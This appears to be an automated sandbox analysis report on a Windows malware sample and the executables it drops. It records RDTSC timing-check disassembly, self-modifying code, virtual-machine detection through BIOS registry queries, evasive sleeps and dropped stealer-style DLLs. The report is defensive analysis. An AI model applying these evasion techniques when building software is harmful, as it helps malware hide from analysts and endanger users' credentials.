Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0A63 second address: 50A0AA1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0E647B607Ah 0x00000008 adc ax, F7B8h 0x0000000d jmp 00007F0E647B607Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 jne 00007F0ED663B9A8h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0E647B6085h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0AA1 second address: 50A0AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0AB5 second address: 50A0AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0AB9 second address: 50A0ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0ABF second address: 50A0ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0ADC second address: 50A0B10 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 0FA105FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, ecx 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F0E6551CA3Fh 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0E6551CA45h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0B10 second address: 50A0B57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0E647B6087h 0x00000009 sub eax, 303046FEh 0x0000000f jmp 00007F0E647B6089h 0x00000014 popfd 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0B57 second address: 50A0B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0B5B second address: 50A0B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0B61 second address: 50A0BC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0E6551CA3Ch 0x00000009 sub eax, 66027D28h 0x0000000f jmp 00007F0E6551CA3Bh 0x00000014 popfd 0x00000015 call 00007F0E6551CA48h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f jmp 00007F0E6551CA40h 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 pushad 0x00000027 movzx esi, dx 0x0000002a mov si, bx 0x0000002d popad 0x0000002e popad 0x0000002f push dword ptr [ebp+14h] 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0BC3 second address: 50A0BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0BC7 second address: 50A0BDF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+10h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0E6551CA3Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C07 second address: 50A0C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C0D second address: 50A0C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C13 second address: 50A0C29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0E647B607Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C29 second address: 50A0C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C2F second address: 50A0C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C33 second address: 50A0C86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a mov si, bx 0x0000000d pushad 0x0000000e movsx ebx, si 0x00000011 mov di, ax 0x00000014 popad 0x00000015 popad 0x00000016 mov esp, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F0E6551CA48h 0x0000001f xor esi, 4DC90E98h 0x00000025 jmp 00007F0E6551CA3Bh 0x0000002a popfd 0x0000002b pushad 0x0000002c push ecx 0x0000002d pop edx 0x0000002e movzx ecx, bx 0x00000031 popad 0x00000032 popad 0x00000033 pop ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C86 second address: 50A0C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0C8A second address: 50A0C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0A77 second address: 50B0B1A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0E647B6080h 0x00000008 sub ecx, 22AABF38h 0x0000000e jmp 00007F0E647B607Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F0E647B6088h 0x0000001c and eax, 77363998h 0x00000022 jmp 00007F0E647B607Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F0E647B607Bh 0x00000034 jmp 00007F0E647B6083h 0x00000039 popfd 0x0000003a pushfd 0x0000003b jmp 00007F0E647B6088h 0x00000040 and ax, 3E58h 0x00000045 jmp 00007F0E647B607Bh 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0B1A second address: 50B0B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0B20 second address: 50B0B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0B24 second address: 50B0B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120E6B second address: 5120E6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120E6F second address: 5120E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120E75 second address: 5120ED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dl, cl 0x0000000d movsx edx, ax 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F0E647B6085h 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 jmp 00007F0E647B607Ch 0x0000001e mov ch, 7Dh 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0E647B607Fh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120ED1 second address: 5120ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120ED5 second address: 5120EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51203AE second address: 51203B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51203B2 second address: 51203B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51203B8 second address: 51203D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov bx, si 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51203D4 second address: 51203EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E647B6082h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51203EA second address: 51203EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120642 second address: 5120648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120648 second address: 512064E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 512064E second address: 5120652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120652 second address: 5120699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pushfd 0x0000000f jmp 00007F0E6551CA3Ch 0x00000014 and ch, FFFFFFF8h 0x00000017 jmp 00007F0E6551CA3Bh 0x0000001c popfd 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 movsx edx, si 0x00000023 mov di, cx 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 jmp 00007F0E6551CA3Ah 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5120699 second address: 512069D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 512069D second address: 51206BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51206BA second address: 51206CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E647B607Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51206CA second address: 51206CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A70FFD second address: A71003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 8BEE34 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: A65351 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: A63DCC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: A639E1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: AF1440 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: A0EE34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: BB5351 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: BB3DCC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: BB39E1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: C41440 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Special instruction interceptor: First address: FC7CAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Special instruction interceptor: First address: FC7DAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Special instruction interceptor: First address: 115D7FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Special instruction interceptor: First address: 11F2DF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Special instruction interceptor: First address: CA5A37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Special instruction interceptor: First address: E4979B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Special instruction interceptor: First address: CA367E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Special instruction interceptor: First address: CA59DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Special instruction interceptor: First address: FCFB8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Special instruction interceptor: First address: FCFC8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Special instruction interceptor: First address: FCD566 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Special instruction interceptor: First address: 115FE1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Special instruction interceptor: First address: 1168FA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Special instruction interceptor: First address: 11F49A7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Special instruction interceptor: First address: 81C9EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Special instruction interceptor: First address: 9BEF79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Special instruction interceptor: First address: 81A576 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Special instruction interceptor: First address: F1798D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Special instruction interceptor: First address: 10DEC68 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Special instruction interceptor: First address: 10C0DA8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Special instruction interceptor: First address: 11455D7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Special instruction interceptor: First address: 5AFC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Special instruction interceptor: First address: 5AD642 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Special instruction interceptor: First address: 788AE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Special instruction interceptor: First address: 7EFFD9 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_05120D04 rdtsc 0_2_05120D04
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Thread delayed: delay time: 180000
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1349 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1251 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1253 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1238 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Window / User API: threadDelayed 9736
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window / User API: threadDelayed 1223
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window / User API: threadDelayed 1231
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window / User API: threadDelayed 1167
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window / User API: threadDelayed 1426
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Window / User API: threadDelayed 1197
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window / User API: threadDelayed 1194
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window / User API: threadDelayed 1206
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window / User API: threadDelayed 1204
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window / User API: threadDelayed 1224
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Window / User API: threadDelayed 1181
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\W5BO33UUYQPDZ9CE875CW1XCH.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\soft[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\YVDVBfFGR3eAeBewwD9vewWwVe0B\Y-Cleaner.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\YVDVBfFGR3eAeBewwD9vewWwVe0B\Bunifu_UI_v1.5.3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1019812001\54682ac64c.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\CaHNbeclRGcBxNSvHjFX.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\dll[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RHNKLLDCS2RT92VKR9MYB3VQ90O2X.exe Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 744 Thread sleep count: 58 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 744 Thread sleep time: -116058s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4592 Thread sleep count: 1349 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4592 Thread sleep time: -2699349s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3624 Thread sleep count: 1251 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3624 Thread sleep time: -2503251s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6108 Thread sleep count: 1253 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6108 Thread sleep time: -2507253s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2144 Thread sleep count: 1238 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2144 Thread sleep time: -2477238s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5080 Thread sleep count: 261 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5080 Thread sleep time: -7830000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe TID: 8428 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe TID: 5228 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe TID: 1704 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe TID: 3748 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 5984 Thread sleep count: 9736 > 30
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 5984 Thread sleep time: -292080000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe TID: 5628 Thread sleep time: -180000s >= -30000s
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 8172 Thread sleep count: 164 > 30
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 8172 Thread sleep time: -164000s >= -30000s
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 8172 Thread sleep count: 40 > 30
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 8172 Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 7208 Thread sleep count: 1223 > 30
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 7208 Thread sleep time: -2447223s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 6016 Thread sleep count: 1231 > 30
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 6016 Thread sleep time: -2463231s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 6696 Thread sleep time: -32000s >= -30000s
